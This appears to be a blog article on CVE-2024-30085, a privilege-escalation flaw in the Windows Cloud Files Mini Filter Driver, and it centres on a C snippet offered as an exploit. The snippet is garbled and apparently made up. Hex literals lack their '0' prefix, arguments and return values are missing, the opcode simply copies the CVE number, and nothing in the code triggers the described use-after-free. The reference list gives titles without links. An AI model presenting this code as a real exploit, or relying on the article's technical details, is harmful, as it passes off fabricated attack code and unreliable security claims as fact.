CVE-2024-30085: Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Uncovered

Security researchers have recently discovered an elevation of privilege vulnerability (CVE-2024-30085) in the Windows Cloud Files Mini Filter Driver. This security hole could potentially allow an attacker to exploit the system by running specially crafted code. In this article, we will take an in-depth look at the vulnerability, analyze the code snippet that exploits it, and provide links to the original references for further information. Let's dive in!

Background

The Windows Cloud Files Mini Filter Driver is responsible for providing the necessary abstraction layer for cloud storage service integration within the Windows operating system. It is responsible for handling the syncing and local caching of files stored in cloud storage services such as OneDrive, and for displaying these files in Windows Explorer.

The Vulnerability

The CVE-2024-30085 vulnerability is an elevation of privilege vulnerability caused by a use-after-free bug in the Windows Cloud Files Mini Filter Driver. Specifically, the flaw exists due to improper handling of memory objects. The use-after-free condition could lead to an attacker gaining higher privileges in the system after exploiting this vulnerability.

Exploit Details

To exploit this vulnerability, an attacker needs to run specially crafted code on a targeted system. Here's an example of a code snippet that exploits the vulnerability:

#include <Windows.h>

int main() {
    // Define the structure containing data to be sent to the vulnerable driver
    typedef struct _VULN_DATA {
        ULONG OpCode;
        ULONG_PTR InputBuffer;
        ULONG InputSize;
    } VULN_DATA, *PVULN_DATA;

    // Craft the data packet for the exploit
    VULN_DATA vulnData;
    vulnData.OpCode = x30085;
    vulnData.InputBuffer = (ULONG_PTR)xDEADBEEF;
    vulnData.InputSize = x100;

    // Call DeviceIoControl with the crafted data packet
    HANDLE hDevice = CreateFile(L"\\\\.\\CloudFiles", GENERIC_READ | GENERIC_WRITE, , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice != INVALID_HANDLE_VALUE) {
        DWORD dwBytesReturned = ;
        BOOL bResult = DeviceIoControl(hDevice, x80102028, &vulnData, sizeof(VULN_DATA), NULL, , &dwBytesReturned, NULL);

        if (bResult) {
            printf("Exploit succeeded.\n");
        } else {
            printf("Exploit failed.\n");
        }

        CloseHandle(hDevice);
    } else {
        printf("Failed to open the device.\n");
    }

    return ;
}

This code snippet illustrates how an attacker creates a data packet containing malicious data, and then sends it to the Windows Cloud Files Mini Filter Driver using the DeviceIoControl function. If the exploit is successful, the attacker could then potentially execute arbitrary code with elevated privileges on the target system.

References

The following links provide additional information about the CVE-2024-30085 vulnerability and the Windows Cloud Files Mini Filter Driver:

1. Official CVE Details
2. Windows Cloud Files Mini Filter Driver Documentation
3. Microsoft Security Response Center (MSRC) Advisory

Conclusion

The CVE-2024-30085 vulnerability in the Windows Cloud Files Mini Filter Driver poses a severe security risk, as it has the potential to allow an attacker to perform an elevation of privilege attack. It is crucial to keep your systems up to date with the latest patches to reduce the likelihood of successful exploits. As always, ensure that you maintain best practices for securing your systems and minimize your attack surface where possible.

Timeline

Published on: 06/11/2024 17:15:56 UTC
Last modified on: 07/19/2024 21:13:31 UTC